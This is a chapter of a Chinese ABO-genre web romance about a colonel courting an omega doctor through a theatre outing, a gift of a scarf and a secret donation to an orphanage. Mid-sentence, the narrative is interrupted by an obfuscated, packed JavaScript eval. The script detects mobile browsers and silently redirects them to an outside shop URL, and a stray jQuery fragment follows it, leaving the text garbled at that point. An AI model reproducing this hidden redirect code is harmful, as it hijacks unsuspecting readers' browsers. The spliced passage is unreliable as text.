第二天厉珣没有接到夏漓。
夏漓原本是应该休息,但临时被唐纳德医生叫到联邦中心医院去,他要动个复杂的手术,让夏漓有时间可以过去观摩。
夏漓不想错过这个学习机会。
厉珣原本在夏漓公寓楼下等他,听到他被唐纳德医生叫走,他又去到联邦中心医院等人。他问夏漓什么时候能走,夏漓说不知道。
有人过来接待他,问上校过来要不要请示院长,厉珣摇摇头说不用,他只是等人。
手术耗时很久。
夏漓在手术室里面待了多久,他就在外面站了多久,直到手术完全结束。
之后唐纳德医生还在给他讲一些细节,按照夏漓的领悟程度,很快就理解学会。
他们换了衣服,再出来,唐纳德问夏漓要不要去食堂吃个饭。
联邦中心医院占地面积很大,医院也修得豪横。他们站在巨大的长廊,全景玻璃窗外视线开明,夏漓望见上校的身影,立在冬日黄昏之下。
夕阳把他的影子拉得很长。
他站在那里一动不动,不知道在想什么,但可以确定的是他等了很久。
唐纳德顺着他的视线看过去,不出意外地也注意到了上校。
“上校是你的alpha?”他问。
在训练营基地,唐纳德就看出夏漓和上校的关系非比寻常,但夏漓并没有被标记,有时候对上校的反应也比较冷淡。
他们走得很近,又像隔着距离。
夏漓在有些时候是看不出来内心想法的,在唐纳德眼里,他是个能憋也能吃苦的孩子。
夏漓闻言摇摇头,说:“不是。”
唐纳德对这个回答不算意外,但明眼人都知道两人相熟,上校也很在意他,很多次训练,上校总是会不经意把目光投放到一旁医疗队的夏漓身上。
但唐纳德没说什么,又继续跟他谈别的事情。
夏漓没有跟唐纳德医生一起吃饭。下楼的时候,天色有些晚了。
厉珣听到脚步声回头,看见夏漓朝他走过来。
现在已经很冷了,夏漓看起来没怎么加厚衣服,仍然是一片单薄的身板。
厉珣朝他走过去,问他冷不冷。夏漓轻轻摇头。
因为等了太久,原先他准备带夏漓去看的演出已经结束,厉珣看了眼时间,有个拍卖会快开始了,就在晚上,之前特意邀请过他。
厉珣又问夏漓想不想去拍卖会,会有晚宴。
夏漓不喜欢那样的场合,说不想去,而且一下午都没有吃东西,他现在饿了。
于是他们先去吃饭,这回换了家普通的餐厅,但食物看起来还不错。
玻璃窗外映着昏黄的灯光,吃完出来已经是晚上。
快到节日了,街道早早开始准备起来,挂着星星点点的彩灯和各种漂亮的布置,透出浓厚的节日氛围,很好看。
街上也有不少行人。
厉珣没有提回去的事情,夏漓也就继续逛。后来他在一张海报前停下来,抬眼看上面映着的剧团表演的信息,正好是今天晚上。
海报做得很简陋,米黄斑驳的羊皮纸,边角有火烧过的痕迹,上面夸张样式的字是手写的,甚至没有太多介绍的信息,连照片也没有。
夏漓却觉得特别,有种古典的意味,有些想看。
他转过头来看身边的上校,不知道他有没有兴趣。
夜色下omega眨动的眼眸很亮,厉珣问:“想看?”
“嗯。”
演出已经开始十来分钟了,好在那个小剧场并不远,走一小段路就能到达,尽管他们迟到,也还是准许进入,直接买票进去。
剧场是圆形设计,但面积不大,里面灯光昏暗,中心区域正在表演。
观众比预想中的要少,甚至前面的位置都没有坐满,观众零零散散。
夏漓忍不住担心会不会不好看。
或许是他从小到大能看演出的机会都不多,竟然觉得很不错。
这是一个有关于古老民俗仪式的表演,带有勇气的主题,过程中展现不少高难度的舞台动作,情感丰沛,夏漓看得很投入,中间一度被主角团的真挚情谊所感动。
omega是很感性的,很容易代入情绪,看得泪眼朦胧。
他喜欢纯粹的事物和感情。
表演结束后,这些观众,包括夏漓都被邀请着上舞台中心,加入他们最后的舞蹈。
厉珣没有上去。
相较于很喜欢这场剧情表演的夏漓而言,厉珣就显得要更冷静,没有过于沉浸在故事里,倒是看身边的人更多。
他目光落在台上,所有人围成好几个圈,夏漓混在其中,和他们站在一起。
旁边的舞蹈演员教他手上和脚下的动作怎么做,还给他戴了一顶有流苏和垂帘的民俗头饰。
夏漓很快就学会,加入大家的节奏。
omega看起来很开心,明明刚刚还感动得要哭,现在又开始笑起来,眼睛里还闪着点泪光,亮晶晶的。
一枚垂下来的吊坠正好落在他眉心,随着他的动作摇曳生姿,衬得整张脸漂亮又生动
夏漓的确很开心,他没有过这样看完表演还能跟大家一起跳舞的经历。
旁边的女演员问他喜不喜欢这个演出。
夏漓说喜欢。
女演员就笑了,说看出来了,你最后都感动得要哭了。然后她又说谢谢你,这份喜欢对他们这种小表演团来说很重要。
夏漓也乖乖地笑。
他沉浸在这份喜悦里,跟着队伍转到另一边的时候,一抬头,就对上一道熟悉的目光。
厉珣坐在观众席中,越过那些人的身影看着他,视线直直定在他身上。
夏漓抿抿唇,收回了视线。
从剧场出来后,夏漓脸上仍有淡淡的笑意,厉珣问:“很开心?”
夏漓点点头,“我很少有机会去剧场。”
不管是大的剧场还是小剧场。萨拉曼蒂城明明有很多演出,各种各样的表演,但夏漓都没怎么看过。
“小时候,福利院的朋友们都会偷偷溜出去到剧场看演出,但我没去过。”
厉珣没有说话,这是他第一次听到omega说他在福利院的事情。
夏漓说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739459|208803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“其实我也很想去,但是我想当医生,额外有好多功课要做,我写不完。所以我只能等他们回来后,再听他们把故事口头转述出来。”
厉珣脑海里浮现出一个形象,夏漓的缩小版,眼巴巴地等着听朋友给他讲演出的故事。
“你很乖,也很努力。”厉珣看着他说。
他夸奖的语气很认真,好像夏漓真的做了什么很值得夸的事情。
夏漓被他看得有点不自在,轻轻别过头。
“那是小时候了。”
“现在也一样。”厉珣说。
夏漓沉默了几秒,被迎面而来的夜风吹得打冷颤。
原本他没有那么冷的,但跟温暖的剧场一对比,外面实在是很冷。
入夜后气温冷得像要下雪。
厉珣很快进了最近的一家店,选了一条围巾,出来时对夏漓说:“戴上。”
夏漓愣了愣:“给我买的?”
厉珣不语,已经垂着眸子给他戴上。
他们挨得很近,夏漓眼睫眨了眨,没有看他。围巾刚戴上自己的脖颈,就觉得暖和不少,冷风吹不进来。
omega下巴往里埋了埋,露出的五官都很漂亮。
颜色也很衬他。
厉珣喉结滚了下,忍不住想要吻他,但他没有这样做,只是说送他回去。
新兵训练第二个月开始了,与此同时,天气进入隆冬。
寒酷天气带来的挑战要比之前更大,也更能磨练士兵们的耐力和忍受力。毕竟在战场上,各种极端条件都会遇到。
一直到节日快要到来的那几天,他们也仍然在基地训练,没有假期。
夏漓抽空回了趟教堂看望索菲亚修女。她身体好了很多,但仍然比不上从前。
教堂下有设立专门的福利院收养被遗弃的小孩,里面大多数beta,也有身体患病难以救治的小孩。
以前跟夏漓一起被收养的那些人里,有些长大后一直留在教堂和福利院工作。
即便是到现在,哪怕已经完善联邦的儿童保护法,禁止遗弃幼儿童,也仍然不时有小孩被放弃。
福利院生活不算差,但总归各种条件有限,限制多,不自由。
夏漓回去的那天,索菲亚修女告诉他,前些天,有人捐了很大一笔给教堂和福利院,还给福利院添置了很多东西。
夏漓不知道是谁。通常来说,愿意捐钱做慈善的政治家、企业家并不少,但索菲亚修女说,对方是位高级军官。他参观了福利院,还看到了墙上贴的那些孩子的生活日常照,并且在里面找到了夏漓小时候的照片,盯着看了很久。
然后,那位alpha军官又转过身,问:“还有他的照片吗?”
夏漓愣了愣。
“你认识他吗?”索菲亚修女问。
夏漓说认识的。
索菲亚这才点点头,放心下来。虽然这么想不好,但她很怕那个军官是居心叵测不怀好意,毕竟对方看起来挺不好接触的。
听她这么说,夏漓忍不住笑笑。
笑完又想到厉珣,他做了这些事情,但是没有告诉自己。